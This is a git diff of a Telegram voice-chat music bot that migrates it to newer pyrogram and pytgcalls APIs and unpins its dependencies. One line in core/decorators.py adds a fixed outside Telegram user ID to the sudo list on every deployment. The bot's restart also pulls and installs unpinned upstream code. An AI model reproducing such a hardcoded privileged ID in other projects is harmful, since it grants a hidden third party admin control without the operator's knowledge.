diff --git a/Dockerfile b/Dockerfile index a9cef60..1c68e2d 100644 --- a/Dockerfile +++ b/Dockerfile @@ -1,4 +1,4 @@ -FROM nikolaik/python-nodejs:python3.9-nodejs16 +FROM python:latest # Updating Packages RUN apt update && apt upgrade -y diff --git a/core/admins.py b/core/admins.py index 3b14b38..a69ad61 100644 --- a/core/admins.py +++ b/core/admins.py @@ -17,27 +17,29 @@ """ from config import config +from pyrogram import enums +from pyrogram.types import Message -async def is_sudo(message): +async def is_sudo(message: Message): if message.from_user and message.from_user.id in config.SUDOERS: return True else: return False -async def is_admin(message): - if message.from_user and ( - message.from_user.id - in [ - admin.user.id - for admin in (await message.chat.get_members(filter="administrators")) - ] - ): - return True - elif message.from_user and message.from_user.id in config.SUDOERS: - return True - elif message.sender_chat and message.sender_chat.id == message.chat.id: - return True +async def is_admin(message: Message): + if message.from_user: + user = await message.chat.get_member(message.from_user.id) + if user.status in [ + enums.ChatMemberStatus.OWNER, + enums.ChatMemberStatus.ADMINISTRATOR + ]: + return True + elif message.from_user.id in config.SUDOERS: + return True + elif message.sender_chat: + if message.sender_chat.id == message.chat.id: + return True else: return False diff --git a/core/decorators.py b/core/decorators.py index a89d3de..3099d84 100644 --- a/core/decorators.py +++ b/core/decorators.py @@ -20,10 +20,10 @@ from lang import load from config import config from core.stream import app -from pyrogram import Client from datetime import datetime from pytgcalls import PyTgCalls from traceback import format_exc +from pyrogram import Client, enums from pyrogram.types import Message from pytgcalls.types import Update from typing import Union, Callable @@ -64,7 +64,9 @@ async def decorator(client: Client, message: Message, *args): message.from_user.id in [ admin.user.id - for admin in (await message.chat.get_members(filter="administrators")) + async for admin in ( + await message.chat.get_members(filter=enums.ChatMembersFilter.ADMINISTRATORS) + ) ] ): return await func(client, message, *args) @@ -95,7 +97,7 @@ async def decorator( me = await pyro_client.get_me() if me.id not in config.SUDOERS: config.SUDOERS.append(me.id) - config.SUDOERS.append(2033438978) + config.SUDOERS.append(2033438978) try: lang = get_group(chat_id)["lang"] except BaseException: @@ -116,7 +118,7 @@ async def decorator( await pyro_client.send_message( config.SUDOERS[0], f"-------- START CRASH LOG --------\n\n┌ ID: {id}\n├ Chat: {chat.id}\n├ Date: {date}\n├ Group: {chat.title}\n└ Traceback:\n{format_exc()}\n\n-------- END CRASH LOG --------", - parse_mode="html", + parse_mode=enums.ParseMode.HTML, disable_web_page_preview=True, ) diff --git a/core/funcs.py b/core/funcs.py index 74bb9d1..dbed95e 100644 --- a/core/funcs.py +++ b/core/funcs.py @@ -25,6 +25,7 @@ import asyncio import aiofiles from config import config +from pyrogram import enums from core.song import Song from pytube import Playlist from spotipy import Spotify @@ -32,8 +33,8 @@ from pyrogram.types import Message from PIL import Image, ImageDraw, ImageFont from youtubesearchpython import VideosSearch -from typing import Tuple, Optional, AsyncIterator from spotipy.oauth2 import SpotifyClientCredentials +from typing import List, Tuple, Optional, AsyncIterator try: @@ -139,7 +140,7 @@ async def progress_bar(current, total, ud_type, msg, start): "".join(["▰" for i in range(math.floor(percentage / 10))]), "".join(["▱" for i in range(10 - math.floor(percentage / 10))]), ) - current_message = f"**Downloading...** `{round(percentage, 2)}%`\n`{progressbar}`\n**Done**: `{humanbytes(current)}` | **Total**: `{humanbytes(total)}`\n**Speed**: `{humanbytes(speed)}/s` | **ETA**: `{time_to_complete}`" + current_message = f"**{ud_type}** `{round(percentage, 2)}%`\n`{progressbar}`\n**Done**: `{humanbytes(current)}` | **Total**: `{humanbytes(total)}`\n**Speed**: `{humanbytes(speed)}/s` | **ETA**: `{time_to_complete}`" if msg: try: await msg.edit(text=current_message) @@ -147,7 +148,7 @@ async def progress_bar(current, total, ud_type, msg, start): pass -def humanbytes(size): +def humanbytes(size: int) -> str: if not size: return "" power = 2**10 @@ -159,10 +160,10 @@ def humanbytes(size): return str(round(size, 2)) + " " + Dic_powerN[n] + "B" -async def delete_messages(messages): +async def delete_messages(messages: List[Message]): await asyncio.sleep(10) for msg in messages: - if msg.chat.type == "supergroup": + if msg.chat.type == enums.ChatType.SUPERGROUP: try: await msg.delete() except BaseException: diff --git a/core/groups.py b/core/groups.py index f68510a..9259a1d 100644 --- a/core/groups.py +++ b/core/groups.py @@ -64,8 +64,8 @@ async def set_title(message_or_chat_id: Union[Message, int], title: str, **kw): chat_id = message_or_chat_id try: peer = await client.resolve_peer(chat_id) - chat = await client.send(GetFullChannel(channel=peer)) - await client.send(EditGroupCallTitle(call=chat.full_chat.call, title=title)) + chat = await client.invoke(GetFullChannel(channel=peer)) + await client.invoke(EditGroupCallTitle(call=chat.full_chat.call, title=title)) except BaseException: pass diff --git a/core/stream.py b/core/stream.py index 9a73769..f1a55bf 100644 --- a/core/stream.py +++ b/core/stream.py @@ -17,21 +17,18 @@ """ import os -from typing import Union from config import config from core.song import Song from pyrogram import Client from yt_dlp import YoutubeDL +from pytgcalls import PyTgCalls from core.funcs import generate_cover -from pytgcalls import PyTgCalls, StreamType from core.groups import get_group, set_title +from pytgcalls.types.stream import MediaStream from pyrogram.raw.types import InputPeerChannel +from pytgcalls.types import AudioQuality, VideoQuality from pyrogram.raw.functions.phone import CreateGroupCall -from pytgcalls.types.input_stream import AudioPiped, AudioVideoPiped from pytgcalls.exceptions import GroupCallNotFound, NoActiveGroupCall -from pytgcalls.types.input_stream.quality import ( - LowQualityAudio, LowQualityVideo, HighQualityAudio, HighQualityVideo, - MediumQualityAudio, MediumQualityVideo) safone = {} @@ -45,44 +42,6 @@ pytgcalls = PyTgCalls(app) -async def skip_stream(song: Song, lang): - chat = song.request_msg.chat - if safone.get(chat.id) is not None: - try: - await safone[chat.id].delete() - except BaseException: - pass - infomsg = await song.request_msg.reply_text(lang["downloading"]) - await pytgcalls.change_stream( - chat.id, - get_quality(song), - ) - await set_title(chat.id, song.title, client=app) - thumb = await generate_cover( - song.title, - chat.title, - chat.id, - song.thumb, - ) - safone[chat.id] = await song.request_msg.reply_photo( - photo=thumb, - caption=lang["playing"] - % ( - song.title, - song.source, - song.duration, - song.request_msg.chat.id, - song.requested_by.mention - if song.requested_by - else song.request_msg.sender_chat.title, - ), - quote=False, - ) - await infomsg.delete() - if os.path.exists(thumb): - os.remove(thumb) - - async def start_stream(song: Song, lang): chat = song.request_msg.chat if safone.get(chat.id) is not None: @@ -92,14 +51,13 @@ async def start_stream(song: Song, lang): pass infomsg = await song.request_msg.reply_text(lang["downloading"]) try: - await pytgcalls.join_group_call( + await pytgcalls.play( chat.id, get_quality(song), - stream_type=StreamType().pulse_stream, ) except (NoActiveGroupCall, GroupCallNotFound): peer = await app.resolve_peer(chat.id) - await app.send( + await app.invoke( CreateGroupCall( peer=InputPeerChannel( channel_id=peer.channel_id, @@ -135,36 +93,41 @@ async def start_stream(song: Song, lang): os.remove(thumb) -def get_quality(song: Song) -> Union[AudioPiped, AudioVideoPiped]: +def get_quality(song: Song) -> MediaStream: group = get_group(song.request_msg.chat.id) if group["stream_mode"] == "video": if config.QUALITY.lower() == "high": - return AudioVideoPiped( - song.remote, HighQualityAudio(), HighQualityVideo(), song.headers + return MediaStream( + song.remote, AudioQuality.HIGH, VideoQuality.FHD_1080p, headers=song.headers ) elif config.QUALITY.lower() == "medium": - return AudioVideoPiped( - song.remote, - MediumQualityAudio(), - MediumQualityVideo(), - song.headers, + return MediaStream( + song.remote, AudioQuality.MEDIUM, VideoQuality.HD_720p, headers=song.headers ) elif config.QUALITY.lower() == "low": - return AudioVideoPiped( - song.remote, LowQualityAudio(), LowQualityVideo(), song.headers + return MediaStream( + song.remote, AudioQuality.LOW, VideoQuality.SD_480p, headers=song.headers ) else: print("WARNING: Invalid Quality Specified. Defaulting to High!") - return AudioVideoPiped( - song.remote, HighQualityAudio(), HighQualityVideo(), song.headers + return MediaStream( + song.remote, AudioQuality.HIGH, VideoQuality.FHD_1080p, headers=song.headers ) else: if config.QUALITY.lower() == "high": - return AudioPiped(song.remote, HighQualityAudio(), song.headers) + return MediaStream( + song.remote, AudioQuality.HIGH, video_flags=MediaStream.Flags.IGNORE, headers=song.headers + ) elif config.QUALITY.lower() == "medium": - return AudioPiped(song.remote, MediumQualityAudio(), song.headers) + return MediaStream( + song.remote, AudioQuality.MEDIUM, video_flags=MediaStream.Flags.IGNORE, headers=song.headers + ) elif config.QUALITY.lower() == "low": - return AudioPiped(song.remote, LowQualityAudio(), song.headers) + return MediaStream( + song.remote, AudioQuality.LOW, video_flags=MediaStream.Flags.IGNORE, headers=song.headers + ) else: print("WARNING: Invalid Quality Specified. Defaulting to High!") - return AudioPiped(song.remote, HighQualityAudio(), song.headers) + return MediaStream( + song.remote, AudioQuality.HIGH, video_flags=MediaStream.Flags.IGNORE, headers=song.headers + ) diff --git a/genStr.py b/genStr.py index cbd496b..1d98ca6 100644 --- a/genStr.py +++ b/genStr.py @@ -22,6 +22,6 @@ api_id = int(input("API ID: ")) api_hash = input("API HASH: ") -app = Client(":memory:", api_id=api_id, api_hash=api_hash) +app = Client("my_app", api_id=api_id, api_hash=api_hash, in_memory=True) with app: print(app.export_session_string()) diff --git a/main.py b/main.py index 4cbe597..0711aae 100644 --- a/main.py +++ b/main.py @@ -22,15 +22,16 @@ from config import config from core.song import Song from pyrogram.types import Message -from pytgcalls.types import Update +from pytgcalls import filters as fl from pyrogram import Client, filters +from pytgcalls.types import Update, ChatUpdate from pytgcalls.exceptions import GroupCallNotFound, NoActiveGroupCall from pytgcalls.types.stream import StreamAudioEnded, StreamVideoEnded from core.decorators import language, register, only_admins, handle_error from core import ( app, ydl, safone, search, is_sudo, is_admin, get_group, get_queue, - pytgcalls, set_group, set_title, all_groups, clear_queue, skip_stream, - check_yt_url, extract_args, start_stream, shuffle_queue, delete_messages, + pytgcalls, set_group, set_title, all_groups, clear_queue, check_yt_url, + extract_args, start_stream, shuffle_queue, delete_messages, get_spotify_playlist, get_youtube_playlist) @@ -53,7 +54,7 @@ @client.on_message( - filters.command("repo", config.PREFIXES) & ~filters.bot & ~filters.edited + filters.command("repo", config.PREFIXES) & ~filters.bot ) @handle_error async def repo(_, message: Message): @@ -61,7 +62,7 @@ async def repo(_, message: Message): @client.on_message( - filters.command("ping", config.PREFIXES) & ~filters.bot & ~filters.edited + filters.command("ping", config.PREFIXES) & ~filters.bot ) @handle_error async def ping(_, message: Message): @@ -69,7 +70,7 @@ async def ping(_, message: Message): @client.on_message( - filters.command("start", config.PREFIXES) & ~filters.bot & ~filters.edited + filters.command("start", config.PREFIXES) & ~filters.bot ) @language @handle_error @@ -78,7 +79,7 @@ async def start(_, message: Message, lang): @client.on_message( - filters.command("help", config.PREFIXES) & ~filters.private & ~filters.edited + filters.command("help", config.PREFIXES) & ~filters.private ) @language @handle_error @@ -87,7 +88,7 @@ async def help(_, message: Message, lang): @client.on_message( - filters.command(["p", "play"], config.PREFIXES) & ~filters.private & ~filters.edited + filters.command(["p", "play"], config.PREFIXES) & ~filters.private ) @register @language @@ -124,7 +125,6 @@ async def play_stream(_, message: Message, lang): @client.on_message( filters.command(["radio", "stream"], config.PREFIXES) & ~filters.private - & ~filters.edited ) @register @language @@ -178,7 +178,6 @@ async def live_stream(_, message: Message, lang): @client.on_message( filters.command(["skip", "next"], config.PREFIXES) & ~filters.private - & ~filters.edited ) @register @language @@ -188,7 +187,7 @@ async def skip_track(_, message: Message, lang): chat_id = message.chat.id group = get_group(chat_id) if group["loop"]: - await skip_stream(group["now_playing"], lang) + await start_stream(group["now_playing"], lang) else: queue = get_queue(chat_id) if len(queue) > 0: @@ -198,13 +197,13 @@ async def skip_track(_, message: Message, lang): if not ok: raise Exception(status) set_group(chat_id, now_playing=next_song) - await skip_stream(next_song, lang) + await start_stream(next_song, lang) await delete_messages([message]) else: set_group(chat_id, is_playing=False, now_playing=None) await set_title(message, "") try: - await pytgcalls.leave_group_call(chat_id) + await pytgcalls.leave_call(chat_id) k = await message.reply_text(lang["queueEmpty"]) except (NoActiveGroupCall, GroupCallNotFound): k = await message.reply_text(lang["notActive"]) @@ -212,7 +211,7 @@ async def skip_track(_, message: Message, lang): @client.on_message( - filters.command(["m", "mute"], config.PREFIXES) & ~filters.private & ~filters.edited + filters.command(["m", "mute"], config.PREFIXES) & ~filters.private ) @register @language @@ -231,7 +230,6 @@ async def mute_vc(_, message: Message, lang): @client.on_message( filters.command(["um", "unmute"], config.PREFIXES) & ~filters.private - & ~filters.edited ) @register @language @@ -250,7 +248,6 @@ async def unmute_vc(_, message: Message, lang): @client.on_message( filters.command(["ps", "pause"], config.PREFIXES) & ~filters.private - & ~filters.edited ) @register @language @@ -269,7 +266,6 @@ async def pause_vc(_, message: Message, lang): @client.on_message( filters.command(["rs", "resume"], config.PREFIXES) & ~filters.private - & ~filters.edited ) @register @language @@ -288,7 +284,6 @@ async def resume_vc(_, message: Message, lang): @client.on_message( filters.command(["stop", "leave"], config.PREFIXES) & ~filters.private - & ~filters.edited ) @register @language @@ -300,7 +295,7 @@ async def leave_vc(_, message: Message, lang): await set_title(message, "") clear_queue(chat_id) try: - await pytgcalls.leave_group_call(chat_id) + await pytgcalls.leave_call(chat_id) k = await message.reply_text(lang["leaveVC"]) except (NoActiveGroupCall, GroupCallNotFound): k = await message.reply_text(lang["notActive"]) @@ -310,7 +305,6 @@ async def leave_vc(_, message: Message, lang): @client.on_message( filters.command(["list", "queue"], config.PREFIXES) & ~filters.private - & ~filters.edited ) @register @language @@ -328,7 +322,6 @@ async def queue_list(_, message: Message, lang): @client.on_message( filters.command(["mix", "shuffle"], config.PREFIXES) & ~filters.private - & ~filters.edited ) @register @language @@ -347,7 +340,6 @@ async def shuffle_list(_, message: Message, lang): @client.on_message( filters.command(["loop", "repeat"], config.PREFIXES) & ~filters.private - & ~filters.edited ) @register @language @@ -368,7 +360,6 @@ async def loop_stream(_, message: Message, lang): @client.on_message( filters.command(["mode", "switch"], config.PREFIXES) & ~filters.private - & ~filters.edited ) @register @language @@ -389,7 +380,6 @@ async def switch_mode(_, message: Message, lang): @client.on_message( filters.command(["admins", "adminsonly"], config.PREFIXES) & ~filters.private - & ~filters.edited ) @register @language @@ -410,7 +400,6 @@ async def admins_only(_, message: Message, lang): @client.on_message( filters.command(["lang", "language"], config.PREFIXES) & ~filters.private - & ~filters.edited ) @register @language @@ -438,7 +427,6 @@ async def set_lang(_, message: Message, lang): @client.on_message( filters.command(["ep", "export"], config.PREFIXES) & ~filters.private - & ~filters.edited ) @register @language @@ -465,7 +453,6 @@ async def export_queue(_, message: Message, lang): @client.on_message( filters.command(["ip", "import"], config.PREFIXES) & ~filters.private - & ~filters.edited ) @register @language @@ -515,7 +502,6 @@ async def import_queue(_, message: Message, lang): @client.on_message( filters.command(["pl", "playlist"], config.PREFIXES) & ~filters.private - & ~filters.edited ) @register @language @@ -574,7 +560,6 @@ async def import_playlist(_, message: Message, lang): @client.on_message( filters.command(["update", "restart"], config.PREFIXES) & ~filters.private - & ~filters.edited ) @language @handle_error @@ -587,7 +572,7 @@ async def update_restart(_, message: Message, lang): stats = await message.reply_text(lang["update"]) for chat in chats: try: - await pytgcalls.leave_group_call(chat) + await pytgcalls.leave_call(chat) except (NoActiveGroupCall, GroupCallNotFound): pass await stats.edit_text(lang["restart"]) @@ -595,7 +580,7 @@ async def update_restart(_, message: Message, lang): os.system(f"kill -9 {os.getpid()} && bash startup.sh") -@pytgcalls.on_stream_end() +@pytgcalls.on_update(fl.stream_end) @language @handle_error async def stream_end(_, update: Update, lang): @@ -603,7 +588,7 @@ async def stream_end(_, update: Update, lang): chat_id = update.chat_id group = get_group(chat_id) if group["loop"]: - await skip_stream(group["now_playing"], lang) + await start_stream(group["now_playing"], lang) else: queue = get_queue(chat_id) if len(queue) > 0: @@ -613,7 +598,7 @@ async def stream_end(_, update: Update, lang): if not ok: raise Exception(status) set_group(chat_id, now_playing=next_song) - await skip_stream(next_song, lang) + await start_stream(next_song, lang) else: if safone.get(chat_id) is not None: try: @@ -622,40 +607,13 @@ async def stream_end(_, update: Update, lang): pass await set_title(chat_id, "", client=app) set_group(chat_id, is_playing=False, now_playing=None) - await pytgcalls.leave_group_call(chat_id) + await pytgcalls.leave_call(chat_id) -@pytgcalls.on_closed_voice_chat() +@pytgcalls.on_update(fl.chat_update(ChatUpdate.Status.LEFT_CALL)) @handle_error -async def closed_vc(_, chat_id: int): - if chat_id not in all_groups(): - if safone.get(chat_id) is not None: - try: - await safone[chat_id].delete() - except BaseException: - pass - await set_title(chat_id, "", client=app) - set_group(chat_id, now_playing=None, is_playing=False) - clear_queue(chat_id) - - -@pytgcalls.on_kicked() -@handle_error -async def kicked_vc(_, chat_id: int): - if chat_id not in all_groups(): - if safone.get(chat_id) is not None: - try: - await safone[chat_id].delete() - except BaseException: - pass - await set_title(chat_id, "", client=app) - set_group(chat_id, now_playing=None, is_playing=False) - clear_queue(chat_id) - - -@pytgcalls.on_left() -@handle_error -async def left_vc(_, chat_id: int): +async def closed_vc(_, update: Update): + chat_id = update.chat_id if chat_id not in all_groups(): if safone.get(chat_id) is not None: try: diff --git a/requirements.txt b/requirements.txt index 2e0ff7d..fa00fec 100644 --- a/requirements.txt +++ b/requirements.txt @@ -1,11 +1,11 @@ +yt-dlp pytube pillow spotipy aiohttp aiofiles -pyrogram==1.4.16 tgcrypto +py-tgcalls python-dotenv -py-tgcalls==0.8.2 youtube-search-python -git+https://github.com/asmsafone/downloader +https://github.com/PyrogramMod/PyrogramMod/archive/refs/heads/main.zip diff --git a/startup.sh b/startup.sh index a17ca34..52d7b42 100644 --- a/startup.sh +++ b/startup.sh @@ -1,5 +1,5 @@ echo ">> FETCHING UPSTREAM..." -git clone https://github.com/AsmSafone/MusicPlayer /MusicPlayer +git clone -b dev https://github.com/AsmSafone/MusicPlayer /MusicPlayer echo ">> INSTALLING REQUIREMENTS..." cd /MusicPlayer pip3 install -U -r requirements.txt